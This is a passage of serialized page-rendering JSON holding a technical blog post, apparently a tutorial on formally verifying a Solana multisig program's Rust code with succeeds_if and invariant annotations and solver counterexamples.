{\n",{"type":21,"tag":198,"props":24403,"children":24405},{"class":200,"line":24404},36,[24406,24410,24414,24418,24422,24426,24431],{"type":21,"tag":198,"props":24407,"children":24408},{"style":640},[24409],{"type":27,"value":16547},{"type":21,"tag":198,"props":24411,"children":24412},{"style":698},[24413],{"type":27,"value":24312},{"type":21,"tag":198,"props":24415,"children":24416},{"style":211},[24417],{"type":27,"value":706},{"type":21,"tag":198,"props":24419,"children":24420},{"style":1966},[24421],{"type":27,"value":24321},{"type":21,"tag":198,"props":24423,"children":24424},{"style":683},[24425],{"type":27,"value":4286},{"type":21,"tag":198,"props":24427,"children":24428},{"style":1966},[24429],{"type":27,"value":24430},"MaxMembersReached",{"type":21,"tag":198,"props":24432,"children":24433},{"style":211},[24434],{"type":27,"value":1470},{"type":21,"tag":198,"props":24436,"children":24438},{"class":200,"line":24437},37,[24439],{"type":21,"tag":198,"props":24440,"children":24441},{"style":211},[24442],{"type":27,"value":880},{"type":21,"tag":198,"props":24444,"children":24446},{"class":200,"line":24445},38,[24447],{"type":21,"tag":198,"props":24448,"children":24449},{"emptyLinePlaceholder":16},[24450],{"type":27,"value":1283},{"type":21,"tag":198,"props":24452,"children":24454},{"class":200,"line":24453},39,[24455],{"type":21,"tag":198,"props":24456,"children":24457},{"style":1233},[24458],{"type":27,"value":24459}," // make sure threshold is valid\n",{"type":21,"tag":198,"props":24461,"children":24463},{"class":200,"line":24462},40,[24464,24468,24472,24476,24480,24484,24488,24493,24497,24502,24506,24510,24514,24518,24522,24527,24532],{"type":21,"tag":198,"props":24465,"children":24466},{"style":640},[24467],{"type":27,"value":643},{"type":21,"tag":198,"props":24469,"children":24470},{"style":1966},[24471],{"type":27,"value":14538},{"type":21,"tag":198,"props":24473,"children":24474},{"style":683},[24475],{"type":27,"value":4286},{"type":21,"tag":198,"props":24477,"children":24478},{"style":698},[24479],{"type":27,"value":20268},{"type":21,"tag":198,"props":24481,"children":24482},{"style":211},[24483],{"type":27,"value":706},{"type":21,"tag":198,"props":24485,"children":24486},{"style":226},[24487],{"type":27,"value":23543},{"type":21,"tag":198,"props":24489,"children":24490},{"style":211},[24491],{"type":27,"value":24492},") \u003C ",{"type":21,"tag":198,"props":24494,"children":24495},{"style":2540},[24496],{"type":27,"value":134},{"type":21,"tag":198,"props":24498,"children":24499},{"style":683},[24500],{"type":27,"value":24501}," ||",{"type":21,"tag":198,"props":24503,"children":24504},{"style":1966},[24505],{"type":27,"value":14538},{"type":21,"tag":198,"props":24507,"children":24508},{"style":683},[24509],{"type":27,"value":4286},{"type":21,"tag":198,"props":24511,"children":24512},{"style":698},[24513],{"type":27,"value":20268},{"type":21,"tag":198,"props":24515,"children":24516},{"style":211},[24517],{"type":27,"value":706},{"type":21,"tag":198,"props":24519,"children":24520},{"style":226},[24521],{"type":27,"value":23543},{"type":21,"tag":198,"props":24523,"children":24524},{"style":211},[24525],{"type":27,"value":24526},") > ",{"type":21,"tag":198,"props":24528,"children":24529},{"style":226},[24530],{"type":27,"value":24531},"total_members",{"type":21,"tag":198,"props":24533,"children":24534},{"style":211},[24535],{"type":27,"value":233},{"type":21,"tag":198,"props":24537,"children":24539},{"class":200,"line":24538},41,[24540,24544,24548,24552,24556,24560,24565],{"type":21,"tag":198,"props":24541,"children":24542},{"style":640},[24543],{"type":27,"value":16547},{"type":21,"tag":198,"props":24545,"children":24546},{"style":698},[24547],{"type":27,"value":24312},{"type":21,"tag":198,"props":24549,"children":24550},{"style":211},[24551],{"type":27,"value":706},{"type":21,"tag":198,"props":24553,"children":24554},{"style":1966},[24555],{"type":27,"value":24321},{"type":21,"tag":198,"props":24557,"children":24558},{"style":683},[24559],{"type":27,"value":4286},{"type":21,"tag":198,"props":24561,"children":24562},{"style":1966},[24563],{"type":27,"value":24564},"InvalidThreshold",{"type":21,"tag":198,"props":24566,"children":24567},{"style":211},[24568],{"type":27,"value":1470},{"type":21,"tag":198,"props":24570,"children":24572},{"class":200,"line":24571},42,[24573],{"type":21,"tag":198,"props":24574,"children":24575},{"style":211},[24576],{"type":27,"value":880},{"type":21,"tag":198,"props":24578,"children":24580},{"class":200,"line":24579},43,[24581],{"type":21,"tag":198,"props":24582,"children":24583},{"emptyLinePlaceholder":16},[24584],{"type":27,"value":1283},{"type":21,"tag":198,"props":24586,"children":24588},{"class":200,"line":24587},44,[24589,24593,24597,24601,24605,24610,24614,24618],{"type":21,"tag":198,"props":24590,"children":24591},{"style":226},[24592],{"type":27,"value":21018},{"type":21,"tag":198,"props":24594,"children":24595},{"style":683},[24596],{"type":27,"value":658},{"type":21,"tag":198,"props":24598,"children":24599},{"style":211},[24600],{"type":27,"value":15480},{"type":21,"tag":198,"props":24602,"children":24603},{"style":683},[24604],{"type":27,"value":658},{"type":21,"tag":198,"props":24606,"children":24607},{"style":211},[24608],{"type":27,"value":24609},"multisig",{"type":21,"tag":198,"props":24611,"children":24612},{"style":683},[24613],{"type":27,"value":658},{"type":21,"tag":198,"props":24615,"children":24616},{"style":698},[24617],{"type":27,"value":21534},{"type":21,"tag":198,"props":24619,"children":24620},{"style":211},[24621],{"type":27,"value":4268},{"type":21,"tag":198,"props":24623,"children":24625},{"class":200,"line":24624},45,[24626,24631],{"type":21,"tag":198,"props":24627,"children":24628},{"style":226},[24629],{"type":27,"value":24630}," threshold",{"type":21,"tag":198,"props":24632,"children":24633},{"style":211},[24634],{"type":27,"value":257},{"type":21,"tag":198,"props":24636,"children":24638},{"class":200,"line":24637},46,[24639,24644],{"type":21,"tag":198,"props":24640,"children":24641},{"style":226},[24642],{"type":27,"value":24643}," create_key",{"type":21,"tag":198,"props":24645,"children":24646},{"style":211},[24647],{"type":27,"value":257},{"type":21,"tag":198,"props":24649,"children":24651},{"class":200,"line":24650},47,[24652,24657],{"type":21,"tag":198,"props":24653,"children":24654},{"style":226},[24655],{"type":27,"value":24656}," members",{"type":21,"tag":198,"props":24658,"children":24659},{"style":211},[24660],{"type":27,"value":257},{"type":21,"tag":198,"props":24662,"children":24664},{"class":200,"line":24663},48,[24665,24669,24673,24677,24682,24686,24690,24694,24699,24703,24707,24711],{"type":21,"tag":198,"props":24666,"children":24667},{"style":683},[24668],{"type":27,"value":8563},{"type":21,"tag":198,"props":24670,"children":24671},{"style":226},[24672],{"type":27,"value":21075},{"type":21,"tag":198,"props":24674,"children":24675},{"style":683},[24676],{"type":27,"value":658},{"type":21,"tag":198,"props":24678,"children":24679},{"style":211},[24680],{"type":27,"value":24681},"bumps",{"type":21,"tag":198,"props":24683,"children":24684},{"style":683},[24685],{"type":27,"value":658},{"type":21,"tag":198,"props":24687,"children":24688},{"style":698},[24689],{"type":27,"value":17155},{"type":21,"tag":198,"props":24691,"children":24692},{"style":211},[24693],{"type":27,"value":706},{"type":21,"tag":198,"props":24695,"children":24696},{"style":205},[24697],{"type":27,"value":24698},"\"multisig\"",{"type":21,"tag":198,"props":24700,"children":24701},{"style":211},[24702],{"type":27,"value":2109},{"type":21,"tag":198,"props":24704,"children":24705},{"style":683},[24706],{"type":27,"value":658},{"type":21,"tag":198,"props":24708,"children":24709},{"style":698},[24710],{"type":27,"value":4470},{"type":21,"tag":198,"props":24712,"children":24713},{"style":211},[24714],{"type":27,"value":4296},{"type":21,"tag":198,"props":24716,"children":24718},{"class":200,"line":24717},49,[24719],{"type":21,"tag":198,"props":24720,"children":24721},{"style":211},[24722],{"type":27,"value":24723}," )\n",{"type":21,"tag":198,"props":24725,"children":24727},{"class":200,"line":24726},50,[24728],{"type":21,"tag":198,"props":24729,"children":24730},{"style":211},[24731],{"type":27,"value":1120},{"type":21,"tag":30,"props":24733,"children":24734},{},[24735,24737,24742,24744,24749],{"type":27,"value":24736},"We can start by testing an empty ",{"type":21,"tag":194,"props":24738,"children":24740},{"className":24739},[],[24741],{"type":27,"value":20949},{"type":27,"value":24743}," (this will default to ",{"type":21,"tag":194,"props":24745,"children":24747},{"className":24746},[],[24748],{"type":27,"value":4806},{"type":27,"value":24750},"):",{"type":21,"tag":187,"props":24752,"children":24754},{"code":24753,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[24755],{"type":21,"tag":194,"props":24756,"children":24757},{"__ignoreMap":7},[24758,24766],{"type":21,"tag":198,"props":24759,"children":24760},{"class":200,"line":201},[24761],{"type":21,"tag":198,"props":24762,"children":24763},{"style":211},[24764],{"type":27,"value":24765},"#[succeeds_if()]\n",{"type":21,"tag":198,"props":24767,"children":24768},{"class":200,"line":217},[24769,24773,24777,24781,24785,24789,24794,24798],{"type":21,"tag":198,"props":24770,"children":24771},{"style":249},[24772],{"type":27,"value":14497},{"type":21,"tag":198,"props":24774,"children":24775},{"style":249},[24776],{"type":27,"value":14502},{"type":21,"tag":198,"props":24778,"children":24779},{"style":698},[24780],{"type":27,"value":7924},{"type":21,"tag":198,"props":24782,"children":24783},{"style":211},[24784],{"type":27,"value":706},{"type":21,"tag":198,"props":24786,"children":24787},{"style":683},[24788],{"type":27,"value":10402},{"type":21,"tag":198,"props":24790,"children":24791},{"style":211},[24792],{"type":27,"value":24793},") { ",{"type":21,"tag":198,"props":24795,"children":24796},{"style":683},[24797],{"type":27,"value":10402},{"type":21,"tag":198,"props":24799,"children":24800},{"style":211},[24801],{"type":27,"value":1909},{"type":21,"tag":30,"props":24803,"children":24804},{},[24805],{"type":27,"value":24806},"Running the solver, we get:",{"type":21,"tag":187,"props":24808,"children":24810},{"code":24809},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[24811],{"type":21,"tag":194,"props":24812,"children":24813},{"__ignoreMap":7},[24814],{"type":27,"value":24809},{"type":21,"tag":30,"props":24816,"children":24817},{},[24818,24820,24825],{"type":27,"value":24819},"This means that ",{"type":21,"tag":194,"props":24821,"children":24823},{"className":24822},[],[24824],{"type":27,"value":4806},{"type":27,"value":24826}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":21,"tag":30,"props":24828,"children":24829},{},[24830],{"type":27,"value":24831},"We can ask the solver to produce a counterexample:",{"type":21,"tag":187,"props":24833,"children":24835},{"code":24834},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24836],{"type":21,"tag":194,"props":24837,"children":24838},{"__ignoreMap":7},[24839],{"type":27,"value":24834},{"type":21,"tag":30,"props":24841,"children":24842},{},[24843],{"type":27,"value":24844},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":21,"tag":30,"props":24846,"children":24847},{},[24848],{"type":21,"tag":1671,"props":24849,"children":24850},{},[24851,24853,24859],{"type":27,"value":24852},"Note also that the verifier decided to use a ",{"type":21,"tag":194,"props":24854,"children":24856},{"className":24855},[],[24857],{"type":27,"value":24858},"SparseVec",{"type":27,"value":24860}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":21,"tag":30,"props":24862,"children":24863},{},[24864],{"type":21,"tag":1671,"props":24865,"children":24866},{},[24867,24869,24874,24875,24881,24883,24888,24890,24895],{"type":27,"value":24868},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":21,"tag":194,"props":24870,"children":24872},{"className":24871},[],[24873],{"type":27,"value":4622},{"type":27,"value":11801},{"type":21,"tag":194,"props":24876,"children":24878},{"className":24877},[],[24879],{"type":27,"value":24880},"pop",{"type":27,"value":24882}," are stubbed out to simply panic for the ",{"type":21,"tag":194,"props":24884,"children":24886},{"className":24885},[],[24887],{"type":27,"value":24858},{"type":27,"value":24889}," and if this code tried to do that we would fall back to the concrete ",{"type":21,"tag":194,"props":24891,"children":24893},{"className":24892},[],[24894],{"type":27,"value":18012},{"type":27,"value":24896}," type.",{"type":21,"tag":30,"props":24898,"children":24899},{},[24900],{"type":27,"value":24901},"We can add this to our constraint and try again:",{"type":21,"tag":187,"props":24903,"children":24905},{"code":24904,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[24906],{"type":21,"tag":194,"props":24907,"children":24908},{"__ignoreMap":7},[24909,24917,24954,24961],{"type":21,"tag":198,"props":24910,"children":24911},{"class":200,"line":201},[24912],{"type":21,"tag":198,"props":24913,"children":24914},{"style":211},[24915],{"type":27,"value":24916},"#[succeeds_if(\n",{"type":21,"tag":198,"props":24918,"children":24919},{"class":200,"line":217},[24920,24925,24929,24933,24937,24941,24945,24949],{"type":21,"tag":198,"props":24921,"children":24922},{"style":211},[24923],{"type":27,"value":24924}," (threshold ",{"type":21,"tag":198,"props":24926,"children":24927},{"style":249},[24928],{"type":27,"value":9652},{"type":21,"tag":198,"props":24930,"children":24931},{"style":1966},[24932],{"type":27,"value":14538},{"type":21,"tag":198,"props":24934,"children":24935},{"style":211},[24936],{"type":27,"value":1541},{"type":21,"tag":198,"props":24938,"children":24939},{"style":683},[24940],{"type":27,"value":20209},{"type":21,"tag":198,"props":24942,"children":24943},{"style":211},[24944],{"type":27,"value":24177},{"type":21,"tag":198,"props":24946,"children":24947},{"style":683},[24948],{"type":27,"value":658},{"type":21,"tag":198,"props":24950,"children":24951},{"style":211},[24952],{"type":27,"value":24953},"len()\n",{"type":21,"tag":198,"props":24955,"children":24956},{"class":200,"line":236},[24957],{"type":21,"tag":198,"props":24958,"children":24959},{"style":211},[24960],{"type":27,"value":21053},{"type":21,"tag":198,"props":24962,"children":24963},{"class":200,"line":260},[24964,24968,24972,24976,24980,24984,24988,24992],{"type":21,"tag":198,"props":24965,"children":24966},{"style":249},[24967],{"type":27,"value":14497},{"type":21,"tag":198,"props":24969,"children":24970},{"style":249},[24971],{"type":27,"value":14502},{"type":21,"tag":198,"props":24973,"children":24974},{"style":698},[24975],{"type":27,"value":7924},{"type":21,"tag":198,"props":24977,"children":24978},{"style":211},[24979],{"type":27,"value":706},{"type":21,"tag":198,"props":24981,"children":24982},{"style":683},[24983],{"type":27,"value":10402},{"type":21,"tag":198,"props":24985,"children":24986},{"style":211},[24987],{"type":27,"value":24793},{"type":21,"tag":198,"props":24989,"children":24990},{"style":683},[24991],{"type":27,"value":10402},{"type":21,"tag":198,"props":24993,"children":24994},{"style":211},[24995],{"type":27,"value":1909},{"type":21,"tag":30,"props":24997,"children":24998},{},[24999],{"type":27,"value":25000},"Verification failed again! This time we get a different counterexample:",{"type":21,"tag":187,"props":25002,"children":25004},{"code":25003},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25005],{"type":21,"tag":194,"props":25006,"children":25007},{"__ignoreMap":7},[25008],{"type":27,"value":25003},{"type":21,"tag":30,"props":25010,"children":25011},{},[25012],{"type":27,"value":25013},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":21,"tag":187,"props":25015,"children":25017},{"code":25016,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[25018],{"type":21,"tag":194,"props":25019,"children":25020},{"__ignoreMap":7},[25021,25028,25063,25084,25091],{"type":21,"tag":198,"props":25022,"children":25023},{"class":200,"line":201},[25024],{"type":21,"tag":198,"props":25025,"children":25026},{"style":211},[25027],{"type":27,"value":24916},{"type":21,"tag":198,"props":25029,"children":25030},{"class":200,"line":217},[25031,25035,25039,25043,25047,25051,25055,25059],{"type":21,"tag":198,"props":25032,"children":25033},{"style":211},[25034],{"type":27,"value":24924},{"type":21,"tag":198,"props":25036,"children":25037},{"style":249},[25038],{"type":27,"value":9652},{"type":21,"tag":198,"props":25040,"children":25041},{"style":1966},[25042],{"type":27,"value":14538},{"type":21,"tag":198,"props":25044,"children":25045},{"style":211},[25046],{"type":27,"value":1541},{"type":21,"tag":198,"props":25048,"children":25049},{"style":683},[25050],{"type":27,"value":20209},{"type":21,"tag":198,"props":25052,"children":25053},{"style":211},[25054],{"type":27,"value":24177},{"type":21,"tag":198,"props":25056,"children":25057},{"style":683},[25058],{"type":27,"value":658},{"type":21,"tag":198,"props":25060,"children":25061},{"style":211},[25062],{"type":27,"value":24953},{"type":21,"tag":198,"props":25064,"children":25065},{"class":200,"line":236},[25066,25070,25075,25079],{"type":21,"tag":198,"props":25067,"children":25068},{"style":683},[25069],{"type":27,"value":16424},{"type":21,"tag":198,"props":25071,"children":25072},{"style":211},[25073],{"type":27,"value":25074}," threshold ",{"type":21,"tag":198,"props":25076,"children":25077},{"style":683},[25078],{"type":27,"value":16491},{"type":21,"tag":198,"props":25080,"children":25081},{"style":211},[25082],{"type":27,"value":25083}," 0\n",{"type":21,"tag":198,"props":25085,"children":25086},{"class":200,"line":260},[25087],{"type":21,"tag":198,"props":25088,"children":25089},{"style":211},[25090],{"type":27,"value":21053},{"type":21,"tag":198,"props":25092,"children":25093},{"class":200,"line":281},[25094,25098,25102,25106,25110,25114,25118,25122],{"type":21,"tag":198,"props":25095,"children":25096},{"style":249},[25097],{"type":27,"value":14497},{"type":21,"tag":198,"props":25099,"children":25100},{"style":249},[25101],{"type":27,"value":14502},{"type":21,"tag":198,"props":25103,"children":25104},{"style":698},[25105],{"type":27,"value":7924},{"type":21,"tag":198,"props":25107,"children":25108},{"style":211},[25109],{"type":27,"value":706},{"type":21,"tag":198,"props":25111,"children":25112},{"style":683},[25113],{"type":27,"value":10402},{"type":21,"tag":198,"props":25115,"children":25116},{"style":211},[25117],{"type":27,"value":24793},{"type":21,"tag":198,"props":25119,"children":25120},{"style":683},[25121],{"type":27,"value":10402},{"type":21,"tag":198,"props":25123,"children":25124},{"style":211},[25125],{"type":27,"value":1909},{"type":21,"tag":30,"props":25127,"children":25128},{},[25129],{"type":27,"value":25130},"A third counterexample:",{"type":21,"tag":187,"props":25132,"children":25134},{"code":25133},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[25135],{"type":21,"tag":194,"props":25136,"children":25137},{"__ignoreMap":7},[25138],{"type":27,"value":25133},{"type":21,"tag":30,"props":25140,"children":25141},{},[25142,25144,25150],{"type":27,"value":25143},"Here we see the size of our ",{"type":21,"tag":194,"props":25145,"children":25147},{"className":25146},[],[25148],{"type":27,"value":25149},"members",{"type":27,"value":25151}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":21,"tag":187,"props":25153,"children":25155},{"code":25154,"language":3788,"meta":7,"className":3789,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[25156],{"type":21,"tag":194,"props":25157,"children":25158},{"__ignoreMap":7},[25159,25166,25201,25222,25274,25281],{"type":21,"tag":198,"props":25160,"children":25161},{"class":200,"line":201},[25162],{"type":21,"tag":198,"props":25163,"children":25164},{"style":211},[25165],{"type":27,"value":24916},{"type":21,"tag":198,"props":25167,"children":25168},{"class":200,"line":217},[25169,25173,25177,25181,25185,25189,25193,25197],{"type":21,"tag":198,"props":25170,"children":25171},{"style":211},[25172],{"type":27,"value":24924},{"type":21,"tag":198,"props":25174,"children":25175},{"style":249},[25176],{"type":27,"value":9652},{"type":21,"tag":198,"props":25178,"children":25179},{"style":1966},[25180],{"type":27,"value":14538},{"type":21,"tag":198,"props":25182,"children":25183},{"style":211},[25184],{"type":27,"value":1541},{"type":21,"tag":198,"props":25186,"children":25187},{"style":683},[25188],{"type":27,"value":20209},{"type":21,"tag":198,"props":25190,"children":25191},{"style":211},[25192],{"type":27,"value":24177},{"type":21,"tag":198,"props":25194,"children":25195},{"style":683},[25196],{"type":27,"value":658},{"type":21,"tag":198,"props":25198,"children":25199},{"style":211},[25200],{"type":27,"value":24953},{"type":21,"tag":198,"props":25202,"children":25203},{"class":200,"line":236},[25204,25208,25213,25217],{"type":21,"tag":198,"props":25205,"children":25206},{"style":683},[25207],{"type":27,"value":16424},{"type":21,"tag":198,"props":25209,"children":25210},{"style":211},[25211],{"type":27,"value":25212}," (threshold ",{"type":21,"tag":198,"props":25214,"children":25215},{"style":683},[25216],{"type":27,"value":16491},{"type":21,"tag":198,"props":25218,"children":25219},{"style":211},[25220],{"type":27,"value":25221}," 0)\n",{"type":21,"tag":198,"props":25223,"children":25224},{"class":200,"line":260},[25225,25229,25233,25237,25241,25245,25249,25254,25258,25262,25266,25270],{"type":21,"tag":198,"props":25226,"children":25227},{"style":683},[25228],{"type":27,"value":16424},{"type":21,"tag":198,"props":25230,"children":25231},{"style":211},[25232],{"type":27,"value":23792},{"type":21,"tag":198,"props":25234,"children":25235},{"style":683},[25236],{"type":27,"value":658},{"type":21,"tag":198,"props":25238,"children":25239},{"style":211},[25240],{"type":27,"value":21814},{"type":21,"tag":198,"props":25242,"children":25243},{"style":683},[25244],{"type":27,"value":20209},{"type":21,"tag":198,"props":25246,"children":25247},{"style":211},[25248],{"type":27,"value":648},{"type":21,"tag":198,"props":25250,"children":25251},{"style":1966},[25252],{"type":27,"value":25253},"u16",{"type":21,"tag":198,"props":25255,"children":25256},{"style":683},[25257],{"type":27,"value":4286},{"type":21,"tag":198,"props":25259,"children":25260},{"style":1966},[25261],{"type":27,"value":21832},{"type":21,"tag":198,"props":25263,"children":25264},{"style":249},[25265],{"type":27,"value":9638},{"type":21,"tag":198,"props":25267,"children":25268},{"style":1966},[25269],{"type":27,"value":14538},{"type":21,"tag":198,"props":25271,"children":25272},{"style":211},[25273],{"type":27,"value":872},{"type":21,"tag":198,"props":25275,"children":25276},{"class":200,"line":281},[25277],{"type":21,"tag":198,"props":25278,"children":25279},{"style":211},[25280],{"type":27,"value":21053},{"type":21,"tag":198,"props":25282,"children":25283},{"class":200,"line":302},[25284,25288,25292,25296,25300,25304,25308,25312],{"type":21,"tag":198,"props":25285,"children":25286},{"style":249},[25287],{"type":27,"value":14497},{"type":21,"tag":198,"props":25289,"children":25290},{"style":249},[25291],{"type":27,"value":14502},{"type":21,"tag":198,"props":25293,"children":25294},{"style":698},[25295],{"type":27,"value":7924},{"type":21,"tag":198,"props":25297,"children":25298},{"style":211},[25299],{"type":27,"value":706},{"type":21,"tag":198,"props":25301,"children":25302},{"style":683},[25303],{"type":27,"value":10402},{"type":21,"tag":198,"props":25305,"children":25306},{"style":211},[25307],{"type":27,"value":24793},{"type":21,"tag":198,"props":25309,"children":25310},{"style":683},[25311],{"type":27,"value":10402},{"type":21,"tag":198,"props":25313,"children":25314},{"style":211},[25315],{"type":27,"value":1909},{"type":21,"tag":30,"props":25317,"children":25318},{},[25319],{"type":27,"value":25320},"And now we get:",{"type":21,"tag":187,"props":25322,"children":25324},{"code":25323},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[25325],{"type":21,"tag":194,"props":25326,"children":25327},{"__ignoreMap":7},[25328],{"type":27,"value":25323},{"type":21,"tag":30,"props":25330,"children":25331},{},[25332],{"type":27,"value":25333},"🥳🥳🥳",{"type":21,"tag":30,"props":25335,"children":25336},{},[25337],{"type":27,"value":25338},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":21,"tag":187,"props":25340,"children":25342},{"code":25341,"language":3788,"meta":7,"className":3789,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[25343],{"type":21,"tag":194,"props":25344,"children":25345},{"__ignoreMap":7},[25346,25369,25400],{"type":21,"tag":198,"props":25347,"children":25348},{"class":200,"line":201},[25349,25353,25357,25361,25365],{"type":21,"tag":198,"props":25350,"children":25351},{"style":640},[25352],{"type":27,"value":16382},{"type":21,"tag":198,"props":25354,"children":25355},{"style":226},[25356],{"type":27,"value":24256},{"type":21,"tag":198,"props":25358,"children":25359},{"style":683},[25360],{"type":27,"value":9529},{"type":21,"tag":198,"props":25362,"children":25363},{"style":2540},[25364],{"type":27,"value":5335},{"type":21,"tag":198,"props":25366,"children":25367},{"style":211},[25368],{"type":27,"value":233},{"type":21,"tag":198,"props":25370,"children":25371},{"class":200,"line":217},[25372,25376,25380,25384,25388,25392,25396],{"type":21,"tag":198,"props":25373,"children":25374},{"style":640},[25375],{"type":27,"value":1478},{"type":21,"tag":198,"props":25377,"children":25378},{"style":698},[25379],{"type":27,"value":24312},{"type":21,"tag":198,"props":25381,"children":25382},{"style":211},[25383],{"type":27,"value":706},{"type":21,"tag":198,"props":25385,"children":25386},{"style":1966},[25387],{"type":27,"value":24321},{"type":21,"tag":198,"props":25389,"children":25390},{"style":683},[25391],{"type":27,"value":4286},{"type":21,"tag":198,"props":25393,"children":25394},{"style":1966},[25395],{"type":27,"value":24330},{"type":21,"tag":198,"props":25397,"children":25398},{"style":211},[25399],{"type":27,"value":1470},{"type":21,"tag":198,"props":25401,"children":25402},{"class":200,"line":236},[25403],{"type":21,"tag":198,"props":25404,"children":25405},{"style":211},[25406],{"type":27,"value":1120},{"type":21,"tag":30,"props":25408,"children":25409},{},[25410,25412,25418,25420,25425,25427,25432,25434,25439],{"type":27,"value":25411},"In this case this is actually redundant because if ",{"type":21,"tag":194,"props":25413,"children":25415},{"className":25414},[],[25416],{"type":27,"value":25417},"members.len() == 0",{"type":27,"value":25419}," then our threshold would also have to be ",{"type":21,"tag":194,"props":25421,"children":25423},{"className":25422},[],[25424],{"type":27,"value":3482},{"type":27,"value":25426}," (and our ",{"type":21,"tag":194,"props":25428,"children":25430},{"className":25429},[],[25431],{"type":27,"value":23543},{"type":27,"value":25433}," is not allowed to be ",{"type":21,"tag":194,"props":25435,"children":25437},{"className":25436},[],[25438],{"type":27,"value":3482},{"type":27,"value":25440},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":21,"tag":59,"props":25442,"children":25444},{"id":25443},"_2-verify-threshold-requirements",[25445],{"type":27,"value":25446},"2. Verify threshold requirements",{"type":21,"tag":30,"props":25448,"children":25449},{},[25450],{"type":27,"value":25451},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":21,"tag":30,"props":25453,"children":25454},{},[25455,25457,25461],{"type":27,"value":25456},"Unlike the previous example, we want to verify this in ",{"type":21,"tag":1671,"props":25458,"children":25459},{},[25460],{"type":27,"value":10112},{"type":27,"value":25462}," cases. I.e. any instruction that could mutate the multisig account.",{"type":21,"tag":30,"props":25464,"children":25465},{},[25466,25468,25472,25474,25479],{"type":27,"value":25467},"In this case, we want to model this as an ",{"type":21,"tag":1671,"props":25469,"children":25470},{},[25471],{"type":27,"value":22571},{"type":27,"value":25473}," on the ",{"type":21,"tag":194,"props":25475,"children":25477},{"className":25476},[],[25478],{"type":27,"value":23535},{"type":27,"value":25480}," account struct:",{"type":21,"tag":187,"props":25482,"children":25484},{"code":25483,"language":3788,"meta":7,"className":3789,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[25485],{"type":21,"tag":194,"props":25486,"children":25487},{"__ignoreMap":7},[25488,25495,25520,25527,25551,25602,25609,25628,25655,25682,25709,25736,25763,25790,25817,25852],{"type":21,"tag":198,"props":25489,"children":25490},{"class":200,"line":201},[25491],{"type":21,"tag":198,"props":25492,"children":25493},{"style":211},[25494],{"type":27,"value":21563},{"type":21,"tag":198,"props":25496,"children":25497},{"class":200,"line":217},[25498,25502,25507,25511,25516],{"type":21,"tag":198,"props":25499,"children":25500},{"style":211},[25501],{"type":27,"value":23631},{"type":21,"tag":198,"props":25503,"children":25504},{"style":1966},[25505],{"type":27,"value":25506},"Clone",{"type":21,"tag":198,"props":25508,"children":25509},{"style":211},[25510],{"type":27,"value":828},{"type":21,"tag":198,"props":25512,"children":25513},{"style":1966},[25514],{"type":27,"value":25515},"Debug",{"type":21,"tag":198,"props":25517,"children":25518},{"style":211},[25519],{"type":27,"value":21053},{"type":21,"tag":198,"props":25521,"children":25522},{"class":200,"line":236},[25523],{"type":21,"tag":198,"props":25524,"children":25525},{"style":211},[25526],{"type":27,"value":21571},{"type":21,"tag":198,"props":25528,"children":25529},{"class":200,"line":260},[25530,25535,25539,25543,25547],{"type":21,"tag":198,"props":25531,"children":25532},{"style":211},[25533],{"type":27,"value":25534}," (self",{"type":21,"tag":198,"props":25536,"children":25537},{"style":683},[25538],{"type":27,"value":658},{"type":21,"tag":198,"props":25540,"children":25541},{"style":211},[25542],{"type":27,"value":21864},{"type":21,"tag":198,"props":25544,"children":25545},{"style":683},[25546],{"type":27,"value":10753},{"type":21,"tag":198,"props":25548,"children":25549},{"style":211},[25550],{"type":27,"value":21873},{"type":21,"tag":198,"props":25552,"children":25553},{"class":200,"line":281},[25554,25558,25562,25566,25570,25574,25578,25582,25586,25590,25594,25598],{"type":21,"tag":198,"props":25555,"children":25556},{"style":683},[25557],{"type":27,"value":16424},{"type":21,"tag":198,"props":25559,"children":25560},{"style":211},[25561],{"type":27,"value":21797},{"type":21,"tag":198,"props":25563,"children":25564},{"style":683},[25565],{"type":27,"value":658},{"type":21,"tag":198,"props":25567,"children":25568},{"style":211},[25569],{"type":27,"value":21864},{"type":21,"tag":198,"props":25571,"children":25572},{"style":249},[25573],{"type":27,"value":9652},{"type":21,"tag":198,"props":25575,"children":25576},{"style":1966},[25577],{"type":27,"value":14538},{"type":21,"tag":198,"props":25579,"children":25580},{"style":683},[25581],{"type":27,"value":9007},{"type":21,"tag":198,"props":25583,"children":25584},{"style":211},[25585],{"t